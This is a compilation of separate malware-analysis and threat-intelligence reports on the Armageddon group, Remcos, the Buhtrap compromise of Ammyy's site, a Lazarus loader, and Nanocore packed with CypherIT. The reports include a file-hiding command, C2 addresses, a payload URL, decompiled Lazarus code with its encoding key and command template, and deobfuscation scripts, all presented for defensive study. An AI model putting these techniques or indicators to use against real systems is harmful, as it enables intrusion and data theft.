attrib +h E:\Boot\*.doc
```
Hidden documents are replaced by shortcuts that link to the original documents so that the user does not notice the substitution. The New Folder shortcut contains a command to run the existing PE file on the media to copy and rename it to the system disk.
In fact, this procedure creates a folder by %APPDATA%\Microsoft\Crypto\keys\ with the name of the volume serial number, as well as a folder by \%APPDATA%\Local\Temp\7ZipSfx.000 (instead of "000” there may be a different sequence number depending on how many times the executable file has been run). After copying and unpacking, the orchestrator file with a set of cmd commands (including the object-specific parameter) infection mechanism is launched.
At the same time, it is worth mentioning that full-fledged compromise is possible in case there is access to the Internet to download additional modules.
## Command & Control Infrastructure
The Security Service of Ukraine has obtained data on thousands of Armageddon’s command & control servers, which were involved in creating the appropriate telecommunications infrastructure and organization of communication channels, malware delivery, and data exfiltration. Based on the analysis of the collected information, the following conclusions are made.
At the beginning of the group's activity, a few domain names were registered in the .ru domain zone. However, with the expansion of the offensive bridgehead, the practice of creating a widely branched telecommunications infrastructure in the domain zone "ddns.net" (registrar of the American company Vitalwerks Internet Solutions LLC), using the technology of dynamic IP addresses (DynamicDNS) began. Subsequently, the list of these zones has expanded significantly and covered the full range of domain zones, which are assigned to the specified domain name registrar, namely:
- ddns.net
- ddnsking.com
- 3utilities.com
- bounceme.net
- freedynamicdns.net
- freedynamicdns.org
- gotdns.ch
- hopto.org
- myddns.me
- myftp.biz
- myftp.org
- myvnc.com
- onthewifi.com
- redirectme.net
- servebeer.com
- serveblog.net
- servecounterstrike.com
- serveftp.com
- servegame.com
- servehalflife.com
- servehttp.com
- serveirc.com
- serveminecraft.net
- servemp3.com
- servepics.com
- servequake.com
- sytes.net
- viewdns.net
- webhop.me
- zapto.org
Also, in the period from 2019 till the present day, the following domain names were used to deliver malicious files and exfiltrate data: .online, .space, .site, .website, as well as .ru. At the same time, regardless of the chosen C2 domain name, for deploying command & control servers, hackers used exclusively Russian telecommunication providers, most of which are IP Server LLC, Hosting technology LTD, Sistema Service LLC, TimeWeb LLC, and SprintHost LLC.RU, LLC Registrar of domain names REG.RU, LLC R.I.M. 2000 M, LLC Management Company Svyaz. Such actions allow changing IP addresses constantly according to current needs, especially to avoid block lists used by cybersecurity systems.
## Conclusions
According to the results of the hacker group Armageddon evaluation, it is concluded that even simple tactics, techniques, and procedures, combined with social engineering methods and large-scale, can lead to successful implementation of cyberattacks on any information system and become a real cyber threat.
Established as a unit of the so-called "FSB Office of Russia in the Republic of Crimea and the city of Sevastopol," this group of individuals acted as an outpost for the implementation of Russia's aggressive policy against Ukraine in cyberspace, from 2014 purposefully threatening the proper functioning of state bodies and critical infrastructure of Ukraine. That is the evidence of militarization of the peninsula in all its manifestations, violating the sovereignty of Ukraine recognized by international law, as well as the rights and freedoms of the citizens of our state.
## Recommendations
In order to prevent cyberattacks by the hacker group Armageddon, the Security Service recommends the following:
1. Update system and application software promptly.
2. Deploy only licensed software products.
3. Block access to the Internet for MS Word, Excel, and PowerPoint completely (prohibit office programs from initiating network connections), prohibit MS Office applications from running subsidiary processes, macros. Implement Attack Surface Reduction to protect Microsoft Office.
- Block executable content from email client and webmail.
- Block all Office applications from creating child processes.
- Block Office applications from creating executable content.
- Block Office applications from injecting code into other processes.
- Block JavaScript or VBScript from launching download executable content.
- Block execution of potentially obfuscated scripts.
- Block Win32 API calls from Office macros.
4. Set controls and restrictions on the creation of executable files with user profiles (.exe, .bin, .ini, .dll, .com, .sys, .bat, .js, etc.), as well as prohibit the unpacking of such files by archivers. Additionally, disable all executable files from the %AppData% directory.
5. Prohibit the use of cmd and PowerShell programs in the information system with user rights. Disable the ability to run any scripts (*script.exe) with the users’ rights.
6. Prohibit the automatic launch of programs with the operating system, as well as access to programs in the system registry.
7. Pay attention to all incoming e-mail, especially unexpectedly received e-mails from unknown e-mail addresses. If possible, check the sender of the letter. Do not open emails with signs of urgency or special importance immediately.
8. Before opening an attachment to an e-mail, you need to identify its extension (it can be hidden or changed), check it with anti-virus software. Do not follow unknown links (URLs) attached to the email. Check their realism by previewing the link and determining the source to which they will actually be redirected by link.
---
**Cyber Security Situational Centre**
**The Security Service of Ukraine**
**2021**
## Techniques used in cyberattack (according to MITRE ATT & CK Matrix)
| Tactics | ID | Name | Description |
|---------|----|------|-------------|
| Initial Access | T1566.001 | Spearphishing Attachment | Group sends spear phishing emails with malicious attachments or links |
| Initial Access | T1566.002 | Spearphishing Link | |
| Execution | T1059.001 | PowerShell | Group executes ps1 scripts in system |
| Execution | T1059.005 | Visual Basic | Group executes numerous vbs scripts in system |
| Execution | T1053.005 | Scheduled Task | Group sets up scheduled tasks to launch scripts and downloaded tasklist |
| Execution | T1047 | WMI | Group uses WMI commands in code to retrieve system information |
| Execution | T1059 | Command-Line Interface | Group executes cmd scripts in system |
| Execution | T1559.001 | Inter-Process Communication: Component Object Model | Group embeds macros into documents |
| Execution | T1106 | Native API | Scripts have used CreateProcess to launch additional malicious components |
| Execution | T1204.001 | User Execution: Malicious Link | Group uses techniques to encourage users to click on malicious links from phishing emails |
| Execution | T1204.002 | User Execution: Malicious File | Group uses techniques to encourage users to click on malicious Office attachments or archives |
| Persistence | T1547.001 | Registry Keys/Startup Folder | Group actively sets up and uses Registry Keys values and puts scripts into startup folders |
| Persistence | T1137.001 | Office Application Startup: Jffice Template Macros | Group inserts malicious macros into existing documents, providing persistence when they are reopened. Creates a special template with remote connection code. |
| Defense Evasion | T1027 | Obfuscated Files or Information | Lots of delivered malicious files have encoded scripts, for instance inserting junk code |
| Defense Evasion | T1140 | Deobfuscate/Decode Files or Information | Group uses XOR method to decode information from payloads |
| Defense Evasion | T1070.004 | Indicator Removal on Host: File Deletion | Scripts can delete files used during a cyber attack |
| Defense Evasion | T1112 | Modify Registry | Actively changing registry security settings for VBA macro |
| Defense Evasion | T1036 | Masquerading | Group places components into Windows folder with names mimicking common system services or drivers |
| Defense Evasion | T1221 | Template Injection | DOCX files contain a request body to download malicious DOT document templates |
| Defense Evasion | T1497.002 | Virtualization/Sandbox Evasion | Malware pings for DNS servers and checks for launched processes. Also tries to identify sandbox name and compare it with hardcoded name list |
| Defense Evasion | T1218.011 | Signed Binary Proxy Execution: Rundll32 | Malware has used rundll32 to launch additional malicious components |
| Credential Access | T1003 | Credential Dumping | Mimikatz on numerous PCs was executed |
| Discovery | T1082 | System Information | During cyber attack first stage scripts always collect system information and send it to C2 |
| Discovery | T1120 | Peripheral Device Discovery | Malware files hunt for removable storages |
| Discovery | T1033 | System Owner/User Discovery | Filestealers can gather the victim's username |
| Lateral Movement | T1091 | Replication Through Removable Media | Scripts have capabilities to copy malware on/from removable drives on/from user’s system |
| Lateral Movement | T1534 | Internal Spearphishing | Use compromised emails to send phishing emails with malicious attachments to other employees within the organization |
| Lateral Movement | T1025 | Data from Removable Media | Collect documents from Removable Media while it's connected to a system |
| Command and Control | T1105 | Ingress Tool Transfer | Malware has capabilities of downloading and executing additional payloads |
| Command and Control | T1219 | Remote Access Tools | RMS and UltraVNC software were used |
| Exfiltration | T1041 | Exfiltration Over C2 Channel | Scripts transfer collected data to C2 | |
# Remcos Analysis
**Malware Name:** Remcos
**File Type:** x32 exe (.NET)
**SHA256:** 5eb996275b36c1e8c1d3daa71e6469507a29401c77f2b1fd91e4d354ccde9860
## Analysis Process
This writeup starts with a suspicious executable that was sent via mail. We can see that most part of the PE is packed (entropy ~ 8 -> High entropy indicates on encrypted/compressed data). The PE is .NET, so we'll check it out in Dnspy. As usual, we'll watch it under Procmon. This is the interesting process tree:
- The file creates a scheduled task for persistence.
- The file writes a VBS script to `\AppData\Local\Temp\` and runs it.
- The VBS script copies the malware to `\AppData\Roaming\remcos\` (Nice spoiler, thank you malware author 😘), and executes it from there.
### The Script Content
After the copy & execute, the VBS script deletes itself (and is written back next execution). In this analysis, I took the "quick and dirty" approach. To unpack the file, I let it run for about a minute or two, and then dumped it using Pe-Sieve (I added the /data argument because this is a .NET executable).
And voila! We've got our unpacked version with a nice icon, and it isn't packed. The file is a native PE file (i.e., written in C/C++, unlike the loader which was written in .NET), and it's importing a lot of interesting libraries.
### Observing the Strings
We find very interesting information: indeed, the malware is Remcos PRO 2.7.2.
#### Keylogger Capabilities:
- Browser stealing capabilities.
- Exfiltration and Infiltration capabilities.
The malware contains a setting resource which looks encrypted. We will try to watch it decrypted in memory. Here we can see the file loads it. After some math, we see the settings in clear text:
- **C2 Server:** 185.244.26.209
We can see some more juicy stuff, like Mutex string, execution path, logs path, and encryption keys. After some Googling about Remcos, it seems like it is total legal software which has a very detailed site.
### Bonus
After watching this, I learned how Remcos encrypts its config, so I wrote a little script that retrieves a Remcos encrypted SETTINGS file and decrypts it. |
# Operation Buhtrap Malware Distributed via Ammyy.com
The free version of Ammyy’s remote administrator software was being served a bundle that contained an NSIS installer used by the gang behind Operation Buhtrap.
We noticed in late October that users visiting the Ammyy website to download the free version of its remote administrator software were being served a bundle containing not only the legitimate Remote Desktop Software Ammyy Admin, but also an NSIS (Nullsoft Scriptable Installation Software) installer ultimately intended to install the tools used by the Buhtrap gang to spy on and control their victims’ computers.
While Ammyy Admin is legitimate software, it has a long history of being used by fraudsters. As a result, several security products, such as ESET’s, detect it as a Potentially Unsafe Application. However, it is still widely used, notably in Russia.
As noted in our previous blog on Buhtrap, this gang has been actively targeting Russian businesses, mostly through spear-phishing. It is thus interesting to see them add strategic web compromises to their arsenal. As remote administrator software is routinely used by businesses, it definitely makes sense for this gang to try to compromise visitors to this site. It’s worth noting that Ammyy’s website lists clients that include the top 500 Fortune companies as well as Russian banks.
## The Compromise
It appears Ammyy’s website is now clean and serves the malware-free Ammyy Admin remote administrator package, but for about a week, visitors were downloading an installer that contained both malware and the Ammyy product. After investigation, different malware families were found to have been distributed through Ammyy’s website. The timeline below shows which and when.
The first malware we saw was the lurk downloader, which was distributed on October 26th. We then saw Corebot on the 29th, Buhtrap on the 30th, and finally, Ranbyus and the Netwire RAT on November 2nd. Although these families are not linked together, the droppers that might have been downloaded from Ammyy’s website were the same in every case. The executable would install the real Ammyy product, but would also launch a file called either AmmyyService.exe or AmmyySvc.exe which contained the malicious payload. Thus, it is quite possible that the cybercriminals responsible for the website hack sold access to different groups.
## Buhtrap
The install package behaves in exactly the same way as described in our previous blog. It first fingerprints the system by looking at software installed on the computer and at what URLs have been visited. It then downloads an additional package if the system is deemed valuable. This downloader is signed with the following certificate:
We notified Comodo which promptly revoked this certificate. The downloaded package is used to spy on the system and ultimately run code to log all keystrokes, enumerate smart cards and communicate with C&C servers. This module has exactly the same functionalities as the one that we analyzed previously and is loaded in memory through a DLL sideloading technique. The main difference this time is that the legitimate application that is used for DLL sideloading is no longer Yandex Punto, but a program called The Guide, a two-pane extrinsic outliner.
Operation Buhtrap is still ongoing and we regularly see new updates coming from the malware’s authors. This group, in much the same way as the Carbanak gang, is using techniques that we are accustomed to see in targeted attacks. The fact that they now use strategic web compromises is another sign of the closing gap between techniques used by cybercriminals and by APT actors.
If you downloaded and installed Ammyy Admin recently, your computer might be compromised by one of the malware described above. Since we do not know exactly when the attack started nor if the site is still compromised, we recommend that you take precautionary measures and use or install a security product to scan and protect your computer.
We tried to contact Ammyy’s developers about this problem for several days and in different ways, but did not receive an answer from them. As Ammyy Admin is widely used, we wanted to warn its users about this security problem.
Special thanks to Anton Cherepanov, Peter Košinár, and Jan Matušík for their help in this analysis.
### Indicators
- **Ammyy + Lurk downloader**: 11657755FAD6F7B8854959D09D5ED1E0DE01D485 (Win32/TrojanDropper.Agent.REV) bundle SHA1
- **Ammyy + CoreBot**: 92CF622E997F43C208DD3835D87A9B984CE73952 (Win32/Agent.RLY) bundle SHA1
- **Ammyy + Buhtrap**: 44769DD6A5291D1EAC79E78FEE3ED1F147990120 (NSIS/TrojanDownloader.Agent.NSU) bundle SHA1
- **Ammyy + Buhtrap**: 39CE37DC0E3009E536416F5CE25C0E538CBE41E0 (NSIS/TrojanDownloader.Agent.NSU) bundle SHA1
- **Ammyy + Ranbyus**: 2A336AC995B6526529E01EB6303E229E40D99763 (Win32/Spy.Ranbyus.L) bundle SHA1
- **Ammyy + Netwire RAT**: 10C22B70899E0F0B741C8E10964E663EBD73F4FD (Win32/Spy.Weecnaw.A) bundle SHA1
- **Certificate thumbprint**: 71 49 30 ac cf 5d 9a 7f fc d7 8c 0b 58 aa a5 a7 95 38 51 be
- **Certificate serial number**: 00 8b 2f fa 23 26 66 36 f2 30 77 82 66 bb 32 41 47
- **Buhtrap downloaded package**: 07F0B293F29EF13C61B33453E50C8C79C69BF22B (Win32/RA-based.AB) SHA1
- **Buhtrap downloaded package URL**: http://shevi-reg.com/bor/notepad.cab |
# Let's Learn: Dissecting Lazarus Windows x86 Loader
**Goal:** Document and dissect the latest Lazarus Windows 32-bit (x86) version involved in the crypto trading application distribution targeting Windows and macOS users. The malware and the campaign were originally discovered by MalwareHunterTeam.
**Where we found it now:**
- https://www.jmttrading[.]org/ (Sectigo cert from July 11)
- https://github[.]com/jmttrading/JMTTrader/releases -> JMTTrader_Win.msi - signed installer (Sectigo given cert too) -> drops signed CrashReporter.exe to AppData.
- (The Mac .dmg has malware too...)
**Source:**
- Signed Windows .msi SHA-256: 07c38ca1e0370421f74c949507fc0d21f4cfcb5866a4f9c0751aefa0d6e97542
- Signed Windows malware SHA-256: 9bf8e8ac82b8f7c3707eb12e77f94cd0e06a972658610d136993235cbfa53641
- macOS .dmg SHA-256: e352d6ea4da596abfdf51f617584611fc9321d5a6d1c22aff243aecdef8e7e55
- macOS malware SHA-256: 4d6078fc1ea6d3cd65c3ceabf65961689c5bc2d81f18c55b859211a60c141806
## Outline:
I. Background & Summary
II. Lazarus Windows 32-bit (x86) Loader/Backdoor Internals
III. Command Line Check Function
IV. Encoder Function
V. Malware Capabilities
VI. Lazarus Loader/Backdoor: ADVObfuscator as "snowman" Library
## I. Background & Summary
The purported North Korean state-sponsored group known as “Lazarus” appears to continue targeting crypto users via elaborate and sophisticated malware distribution methodology by setting up the website, Twitter, and GitHub account as well as leveraging digital certificate for the Windows malware specifically. Previously, Kaspersky researchers noted the very similar malware in 2018 in the report titled “Operation AppleJeus: Lazarus hits cryptocurrency exchange with fake installer and macOS malware.” The group appears to employ both macOS and Windows malware variants. While the macOS version remained unobfuscated and simple, the Windows version of this malware is rather notable and included the renamed ADVObfuscation library as “snowman” to complicate malware reverse engineering. The final payload is yet unknown; however, the group previously deployed this similar loader/backdoor to install the malware backdoor known as “Fallchill.”
## II. Lazarus Windows 32-bit (x86) Loader/Backdoor Internals
The malware backdoor 32-bit (x86) is coded in Microsoft Visual C++ 8. It is signed and executed via "Maintain" parameter. The malware itself is heavily obfuscated executed as task "JMTCrashReporter". The compilation timestamp is Friday, October 04 02:22:31 2019 UTC with the Sectigo signer for "JMT TRADING GROUP INC" with the postal code "91748" and valid from 12/07/2019 00:00:00 to 11/07/2020 23:59:59. The zip code corresponds to the Los Angeles area, United States.
## III. Command Line Check Function
The malware checks for the argument “Maintain” before final execution.
```c
char __thiscall compare_command(void *this) {
v1 = this;
v2 = GetCommandLineA();
v3 = sub_445020(v2, 0x20u);
*((DWORD *)v1 + 1) = v3;
if (!v3) goto LABEL_9;
v4 = (DWORD *)*((DWORD *)v1 + 1);
v5 = strcmp((const char *)++*v4, **((const char ***)v1 + 2)); // 'Maintain' arg check
if (v5) v5 = -(v5 < 0) | 1;
if (v5) LABEL_9: result = 1; else result = 0;
return result;
}
```
## IV. Encoder Function
The binary encodes the victim information using the key “X,%`PMk--Jj8s+6=15:20:11” before submitting the information to the server. The pseudo-coded function is as follows:
```c
int __thiscall encoder_func(int this) {
v1 = this;
v2 = this;
v3 = *(DWORD **)(this + 8);
*v3 ^= 0x721u;
*v3 ^= 0x721u;
v4 = **(DWORD **)(this + 8);
v5 = *(DWORD **)(this + 8);
*v5 ^= 0x721u;
*v5 ^= 0x721u;
v6 = **(DWORD **)(v1 + 8);
v7 = *(DWORD **)(v1 + 12);
*v7 ^= 0x721u;
*v7 ^= 0x721u;
v8 = **(DWORD **)(v1 + 12);
v9 = *(DWORD **)(v2 + 8);
*v9 -= 0xCBC;
*v9 += 0xCBC;
*(_BYTE *)(**(DWORD **)(v2 + 8) + **(DWORD **)(v2 + 4)) = *(_BYTE *)(**(DWORD **)(v2 + 4) + v4) ^ key[v6 % v8]; // X,%`PMk--Jj8s+6=15:20:11
return **(DWORD **)(v2 + 16);
}
```
## V. Malware Capabilities
The similar binary capabilities were documented as part of the analogous unobfuscated MacOS version in the report titled “Pass the AppleJeus.” In this case, the Windows malware includes the separator “--wMKBUqjC7ZMG5A5g”. The malware capabilities include the following shortened functionality:
- Read/write itself to various directories
- Query registry and save in the registry
- Connect to the server
- Find files
- Extract and decode resource
- Collect processes delete and terminate them
The malware formats the request and processes the command from the server as follows:
```
Request/%lu
%sd.e%sc "%s > %s 2>&1"
```
The malware connection form-data is as follows:
```
xX7ZXX5A5g
--wMKBUqjC7ZMG5A5g
Content-Disposition: form-data; name="token";
11056
--wMKBUqjC7ZMG5A5g
Content-Disposition: form-data; name="query";
conn
--wMKBUqjC7ZMG5A5g
Content-Disposition: form-data; name="content"; filename="mont.jpg"
Content-Type: application/octet-stream
```
## VI. Lazarus Loader/Backdoor: ADVObfuscator as "snowman" Library
One of the more interesting discoveries was that the Lazarus malware utilizes the ADVObfuscator open-source library simply renamed as “snowman” based on the template C++ definition left in the binary. The malware developer appears to have simply manually inserted the obfuscator library with the definitions.
“ADVobfuscator demonstrates how to use C++11 language to generate, at compile-time, obfuscated code without using any external tool and without modifying the compiler. The techniques presented rely only on C++11, as standardized by ISO. It shows also how to introduce some form of randomness to generate polymorphic code and it gives some concrete examples like the encryption of strings literals and the obfuscation of calls using finite state machines.”
The Lazarus sample introduces randomness leveraging mov instruction and offsets to function to complicate static and dynamic analysis as well as reverse engineering efforts.
The fragment of the typical generated deobfuscation code is as follows:
```assembly
0FBEC0 MOVSX EAX,AL
83E8 07 SUB EAX,7
88440C 78 MOV BYTE PTR SS:[ESP+ECX+78],AL
41 INC ECX
83F9 1C CMP ECX,1C
```
During AppSec2014, Sebastien Andrivet demonstrated this exact similar technique used by the Lazarus sample via the renamed ADVObfuscation library.
The relevant template and definition of the original relevant source code are as follows:
```c
#define OBFUSCATED_CALL0(f) andrivet::ADVobfuscator::ObfuscatedCall<andrivet::ADVobfuscator::Machine1::Machine>(MakeObfuscatedAddress(f, andrivet::ADVobfuscator::MetaRandom<__COUNTER__, 400>::value + 278))
#define OBFUSCATED_CALL_RET0(R, f) andrivet::ADVobfuscator::ObfuscatedCallRet<andrivet::ADVobfuscator::Machine1::Machine, R>(MakeObfuscatedAddress(f, andrivet::ADVobfuscator::MetaRandom<__COUNTER__, 400>::value + 278))
#define OBFUSCATED_CALL(f, ...) andrivet::ADVobfuscator::ObfuscatedCall<andrivet::ADVobfuscator::Machine1::Machine>(MakeObfuscatedAddress(f, andrivet::ADVobfuscator::MetaRandom<__COUNTER__, 400>::value + 278), __VA_ARGS__)
#define OBFUSCATED_CALL_RET(R, f, ...) andrivet::ADVobfuscator::ObfuscatedCallRet<andrivet::ADVobfuscator::Machine1::Machine, R>(MakeObfuscatedAddress(f, andrivet::ADVobfuscator::MetaRandom<__COUNTER__, 400>::value + 278), __VA_ARGS__)
```
```c
template<typename F>
struct ObfuscatedAddress {
using func_ptr_t = void(*)();
using func_ptr_integral = std::conditional<sizeof(func_ptr_t) <= sizeof(long), long, long long>::type;
func_ptr_integral f_;
int offset_;
constexpr ObfuscatedAddress(F f, int offset): f_{reinterpret_cast<func_ptr_integral>(f) + offset}, offset_{offset} {}
constexpr F original() const { return reinterpret_cast<F>(f_ - offset_); }
};
template<typename F>
constexpr ObfuscatedAddress<F> MakeObfuscatedAddress(F f, int offset) {
return ObfuscatedAddress<F>(f, offset);
}
``` |
# Nanocore & CypherIT
Hello everyone! It's been a while since I've posted. There's been some changes in my life that have distracted me from my malware temporarily. One of those updates is a career change. I will officially be working as a security researcher and in preparation of that I felt that I needed to keep my reverse engineering skills sharp. So I went to any.runs malware trends page, and randomly picked a sample. I ended up picking a Nanocore sample to analyze.
Nanocore has been around for many years and is one of the simpler and cheaper malware families out there but I never had the availability during work to look at it. Since I generally focus on targeted malware, I knew this was going to be a good change of pace.
## Technical Analysis
First step as usual, is opening the sample in PE studio for a quick triage. From the output here you can see it's a Cpp application with a rather high entropy of 7.5. So there is definitely some encrypted or compressed content here. You can also see that there is an embedded resource within the application. Immediately the AutoIT caught my eye as that's not something I have dealt with before.
Even more suspicious is that it's almost 53% of the file, and a maximum entropy value of 8. Seeing the large resource immediately leads me to look for resource related calls such as LockResource, SizeOfResource, LoadResource etc.
FindResource is only called within this function so if we assume that the AutoIT script is part of the malware, this function becomes increasingly important. This function will load the resource make some calls and load the resource data within [ebp+var_4].
Looking at the call graph shows this is a leaf node for the call graph, which can potentially mean that execution will continue outside of the scope of this application or all the information for this chain of calls was acquired. Looking at the parent function it opens a file passed as an argument.
Looking at calls to this function, there are references to various AutoIT strings. Jumping to the Main function it calls sub_403B3A which has an anti-debugger check. It calls IsDebuggerPresent and if it is, opens a message box and the process terminates.
Following sub_408667, eventually the resource will be loaded from memory, and compared against the compiled AutoIT header. Execution only continues if the header is correct, so we can assume it's going to load an AutoIT script. This coupled with the fact that it quits if you try to debug the executable, I'm comfortable in assuming this executable is going to load and run the compiled AutoIT script from its resource section.
## AutoIT Script
Now that we know the binary file we have been looking at is just a runtime environment for the AutoIT script resource we can take a look at the script itself. Extracting the resource with Resource Hacker and throwing it in a hex editor shows that it's a compiled script. Now there are a couple tools out there used to decompile AutoIT scripts. There is Exe2Aut which is what I went with to handle this compiled script. Although running this script through the application gave the following error...
Googling around for this I found Hexacorn's post about this exact issue! Following his post we append our compiled script to the 32 bit stub and we get a valid decompilation of the script!
Copying the contents to a new file in VSCode and giving it a look over immediately shows something interesting. This script is 10901 lines long. The majority of the file looks like the following.
At the end of the file there is a large data blob that spans 3500 lines just on its own. Generally this means it's some sort of payload. Loading this data blob into CyberChef shows that it is most likely either compressed or encrypted. This rules simpler techniques such as XOR encryption.
With this information I knew I'd have to give the script a good hard look. After some googling about AutoIT crypters I came across CypherIT. CypherIT is an AutoIT crypter that is sold at 5 separate tiers. The first tier is $33 for 1 month, $57 for 2 months and $74 for 3 months, $175 for FUD for 2 weeks and finally a $340 lifetime model.
Interestingly enough they even have a discord server that users can join for troubleshooting and getting updates on new versions.
Going back to the script... After the large data blob is finished being initialized, it is passed to a function called skpekamgyg. This function takes the large data blob, a random string and a number as a string. There is way too much to go into here for the crypter but these are the basic characteristics of it:
1. Unused variables
2. Unused functions
3. String decryption
I ended up writing a Golang based script that can handle those 3 above cases! For this sample it turned the 10901 line script into a 6600 line one. There is some more analysis that can happen to remove function calls that aren't actually called by the main payload decryption routine, but that would require actual function call analysis and that is out of scope for this article.
## String Decryption
For decrypting the strings there are a couple pieces to it.
```go
func decryptStrings(lines []string) ([]string) {
var re = regexp.MustCompile(`(?m)"\b[0-9A-F]{2,}\b"`)
modLines := []string{}
for i, line := range lines {
matched := false
tempLine := ""
tempLine += line
for _, match := range re.FindAllString(line, -1) {
matched = true
cleaned := strings.Replace(match, "\"", "", -1)
dec, err := hex.DecodeString(cleaned)
if err != nil {
modLines = append(modLines, tempLine)
break
}
decodedStr, err := xorBrute(dec)
if err != nil {
modLines = append(modLines, tempLine)
break
}
if len(decodedStr) < 2 {
modLines = append(modLines, tempLine)
break
}
if decodedStr[0:2] == "0x" {
temp, err := hex.DecodeString(strings.Replace(decodedStr, "0x", "", -1))
if err != nil {
modLines = append(modLines, tempLine)
break
}
decodedStr = string(temp)
}
if isASCII(decodedStr) {
tempLine += " ;" + decodedStr
fmt.Printf("[+] decoded string at line %d: %s\n", i, decodedStr)
} else {
tempLine += " ;" + "BINARYCONTENT"
}
modLines = append(modLines, tempLine)
break
}
if !matched {
modLines = append(modLines, tempLine)
}
}
return modLines
}
```
I look for hex encoded strings with a regex. Then I clean the string removing extraneous characters. Once we have a valid hex string like `307832343639373037393643363836353...33303330333033303232` we pass it to a the function `xorBrute`.
```go
func xor(enc []byte, key byte) (string, error) {
ret := []byte{}
for i := 0; i < len(enc); i++ {
temp := enc[i] ^ key
ret = append(ret, temp)
}
return string(ret), nil
}
func xorBrute(encodedStr []byte) (string, error) {
switch string(encodedStr[0]) {
case "0":
return xor(encodedStr, 0)
case "1":
return xor(encodedStr, 1)
case "2":
return xor(encodedStr, 2)
case "3":
return xor(encodedStr, 3)
case "4":
return xor(encodedStr, 4)
}
return "", errors.New("not a valid nanocore encoding")
}
```
A neat little property I found about this is that the first character must decode to 0 since the actual string must start with 0x for it to be processed properly. Now in the AutoIT script the function that decodes these hex strings takes 2 arguments, a large hex string and a single character that is some number between 0 and 4 which is the XOR key. Since the value we are looking for here with the first character is 0, we can use the fact that anything XOR'd with itself is 0. So while the second argument is being passed we can figure out the 1 byte key with the switch statement.
Once we have the decoded string as a large hex value we do a check on the size to make sure we aren't dealing with a single byte value that the regex might've picked up. Followed by a check to make sure it starts with 0x, if all those conditions are met we decode the hex value into ASCII and add it as a comment to the script.
## Variable Cleaning
Considering that these CypherIT scripts generally have thousands of lines, it's pretty clear they have unused variables. My technique for removing variables is simplistic but effective. I have a loop that can extract all of the variable names via a regex.
```go
getVarName := regexp.MustCompile(`(?m)(Dim|Local|Global Const|Global)\s\$(?P<Name>\w+)\s`)
```
If I get a variable if the "Name" regex group I scan every line for that name. In the script itself I've done this step after decoding the strings so that all variable names are in the clear.
```go
// count the number of occurrences
occurences := 0
for _, secondLine := range lines {
if strings.Contains(secondLine, result["Name"]) {
occurences++
}
}
// if the variable is used multiple times keep it
if occurences > 1 {
modLines = append(modLines, line)
}
```
## Function Cleaning
Removing functions were a bit more in depth than variables as you need to be able to find the start and end of a function. Functions also have the added complexity that if you are removing a function that isn't being called anywhere else, you might've isolated another function that isn't going to be reached either.
To get started, we define our regex.
```go
var getFuncName = regexp.MustCompile(`(?m)Func\s(?P<Name>\w+)`)
```
Then for every function name we extract, we check if it's being called anywhere else in the script. If it's not being called anywhere else we add it to a list that contains all functions we are going to remove.
```go
for i, line := range lines {
// If it is a func declaration get the func name
match := getFuncName.FindStringSubmatch(line)
if len(match) == 0 {
continue
}
result := make(map[string]string)
// turn the regex groups into a map
for k, name := range getFuncName.SubexpNames() {
if i != 0 && name != "" {
result[name] = match[k]
}
}
// count the number of occurrences in the new file
occurences := 0
for _, secondLine := range lines {
if strings.Contains(secondLine, result["Name"]) {
occurences++
}
}
// if the function is just used once, find it and don't write it to the file
if occurences == 1 {
unusedFuncs = append(unusedFuncs, result["Name"])
}
}
```
Once we have this list we iterate over it and find the function start with 2 string.Contains and we iterate over the lines from that point until we find the EndFunc keyword.
```go
// now that we have all of the unused functions, we need to remove them
for i := 0; i < len(lines); i++ {
for _, unusedFunc := range unusedFuncs {
if strings.Contains(lines[i], unusedFunc) && strings.Contains(lines[i], "Func") {
for j, secondLine := range lines[i:] {
if strings.Contains(secondLine, "EndFunc") {
i = i + j + 1
break
}
}
}
}
modLines = append(modLines, lines[i])
}
```
After running the script against the crypter we have reduced it from 10901 lines to 6195 lines. This function needs to run a couple of times to catch code branches that do have child function calls but aren't reachable from the main function. Results will vary from script to script, but I now have a script that only contains used functions, used variables and decrypted strings.
## The Final CypherIT Script
These were the high level concepts I used to simplify my CypherIT crypters, the actual script itself will be listed here.
## The Bad News
Sadly, even with all of this analysis and development work that made this crypter a lot easier to look at, reconstructing the shellcode itself that will AES decrypt the actual Nanocore sample is out of scope for this project... Luckily the wonderful people over at Unpac.me maintain an incredible service that was actually able to get the payload for me! If you haven't checked out their service I'd definitely give it a try with some difficult crypters.
As you can see there is the unpacked Nanocore sample! Onto the actual analysis of the sample.
## Nanocore Payload Analysis
So going ahead with the analysis of `80bbde2b38dc19d13d45831e293e009ae71301b67e08b26f9445ad27df2b8ffd`, Nanocore is written in .NET so dnSpy will be our tool of choice. Loading it up in dnSpy shows that the internal classes are obfuscated.
One of the first steps I take when I see any sort of obfuscation in .NET malware is run it through de4dot. De4dot is a .NET deobfuscator for many well known .NET obfuscators. Output shows that de4dot was able to identify the obfuscator used, Eazfuscator. This obfuscator can be found free to use here. Now that we have a cleaned version of the Nanocore sample we are ready to actually analyze it.
## Static Config Decryption
Looking at PE Studio results though there is yet another encrypted resource that we need to deal with. Searching for function calls within our .NET application that handle resources leads us to the following.
Now we are at the point where we can recreate this code assuming that it's going to decrypt the encrypted resource. As you can already see I've annotated a lot of the code already to make this blog post a tad shorter.
```python
byte[] byte_ = binaryReader.ReadBytes(binaryReader.ReadInt32());
```
This is the first line that we have to pay attention to. This line will read a 32bit integer from the encrypted resource. Then get the GUID of the .NET application and pass it to a function that is going to return a Decryptor object for us. This function starts off initializing a Rfc2898DeriveBytes object with the GUID as the password and the salt. That will return a Key and IV that is then used in Rijndael in CBC mode to create the next piece in this chain. This function will decrypt the first 8 bytes on the resource and pass that back. Immediately after the 8 bytes is returned, it's passed to this function below where a DES decryptor is created. These 8 bytes and then used as the Key and IV for the DES decryptor that will decrypt the rest of the contents of the resource.
After this function is called, all we have is an initialized decryptor, and our content is still encrypted. Although a couple lines after our init function this function below is called.
```python
byte_0 = AESCrypto.icryptoTransform_1.TransformFinalBlock(byte_0, 0, byte_0.Length);
```
This line will decrypt all the contents. Now as soon as that's finished a boolean is read from the start of the decrypted contents. If the boolean is true, the rest of the contents has to be zlib decompressed. In total this breaks down to the following python code to re-implement.
```python
def decrypt_config(coded_config, key):
data = coded_config[24:]
decrypt_key = key[:8]
cipher = DES.new(decrypt_key, DES.MODE_CBC, decrypt_key)
raw_config = cipher.decrypt(data)
new_data = raw_config[5:]
decompressed_config = zlib.decompress(new_data, -15)
return decompressed_config
def derive_pbkdf2(key, salt, iv_length, key_length, iterations):
